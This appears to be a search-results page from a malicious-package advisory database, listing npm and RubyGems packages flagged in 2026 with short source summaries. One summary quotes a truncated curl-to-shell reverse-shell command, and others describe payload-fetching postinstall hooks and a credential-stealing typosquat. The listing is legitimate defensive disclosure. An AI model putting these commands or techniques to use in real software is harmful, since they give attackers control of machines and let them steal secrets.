1006 matches found
MAL-2026-10829 Malicious code in @gocortexio/npmgremlinbox-lgpl-2-1 (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 57c01ac5110fda0b2a3a6bf1ee06fb637561e65d36e549ed3d2bc355183185b3 Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
MAL-2026-10816 Malicious code in @gocortexio/npmgremlinbox-cpol-1-02 (npm)
--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 2184d51efaa813eba204f724caf876441f354323d358251674a60def88a83e9a Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...
Malicious code in internallib_v907 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 40689180cd10e4352f018c9ffc96ddd110f12299bd83f195fe9879e28d1de59e index.js line 5 invokes exec'/bin/bash -c "curl https://reverse-shell.sh/... | sh"', piping a remote script directly into a shell. The fetched payloa...
MAL-2026-10524 Malicious code in @velkov/isows (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4fee1d7d5125231d00f9c5f9afe9817b76900ca385b7d077bb4b8bcf3d9ca660 Package is published as @velkov/isows while its README, repository wevm/isows, description "Isomorphic WebSocket", and author jxom.eth impersonate th...
MAL-2026-10259 Malicious code in abuden216 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 136d8dabbba25b7fb10fa921d1eafe01d4f6710465dfc33ad213f02043973b49 The tarball ships auto-publish.sh, a script that republishes the same payload under 100 distinct npm names ishowfeet1-ishowfeet20, nottuff1-nottuff30...
MAL-2026-10357 Malicious code in nottuff5 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0e18070e680629849560dab1723a73f80d61312d0a9efe429b0c8f43b2177bbd The tarball ships auto-publish.sh, a script that republishes the same payload under 100 distinct npm names ishowfeet1-ishowfeet20, nottuff1-nottuff30...
MAL-2026-10094 Malicious code in @equansservices/setup (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b071598889a04c74a8398157555ccfffda5bbc713429df4cafbcf48df7f811af package.json declares a postinstall hook node setup.js that fires automatically on npm install. setup.js selects a platform-specific target and fetch...
MAL-2026-10033 Malicious code in @wagni_bot/polymarket-sdk (npm)
The npm package @wagnibot/polymarket-sdk is a supply-chain credential stealer disguised as a Polymarket SDK. It is one member of a coordinated campaign of 25 crypto/web3 typosquat packages published under the single npm scope @wagnibot on 2026-07-09. Each package declares a postinstall lifecycle...
MAL-2026-7090 Malicious code in @spinstorm/derng (npm)
--- -= Per source details. Do not edit below this line.=-...
MAL-2026-9962 Malicious code in zzpdfvar05 (RubyGems)
--- -= Per source details. Do not edit below this line.=-...
MAL-2026-9848 Malicious code in zwcalx5 (RubyGems)
--- -= Per source details. Do not edit below this line.=-...
MAL-2026-9810 Malicious code in ztestlamb01 (RubyGems)
--- -= Per source details. Do not edit below this line.=-...
MAL-2026-9787 Malicious code in zsday2811778553469 (RubyGems)
--- -= Per source details. Do not edit below this line.=-...
MAL-2026-9529 Malicious code in xla11778568189 (RubyGems)
--- -= Per source details. Do not edit below this line.=-...
MAL-2026-9413 Malicious code in wn5wknotxt1 (RubyGems)
--- -= Per source details. Do not edit below this line.=-...
MAL-2026-9366 Malicious code in wjin3 (RubyGems)
--- -= Per source details. Do not edit below this line.=-...
MAL-2026-9336 Malicious code in wgsfmore63 (RubyGems)
--- -= Per source details. Do not edit below this line.=-...
MAL-2026-9275 Malicious code in wandshack2 (RubyGems)
--- -= Per source details. Do not edit below this line.=-...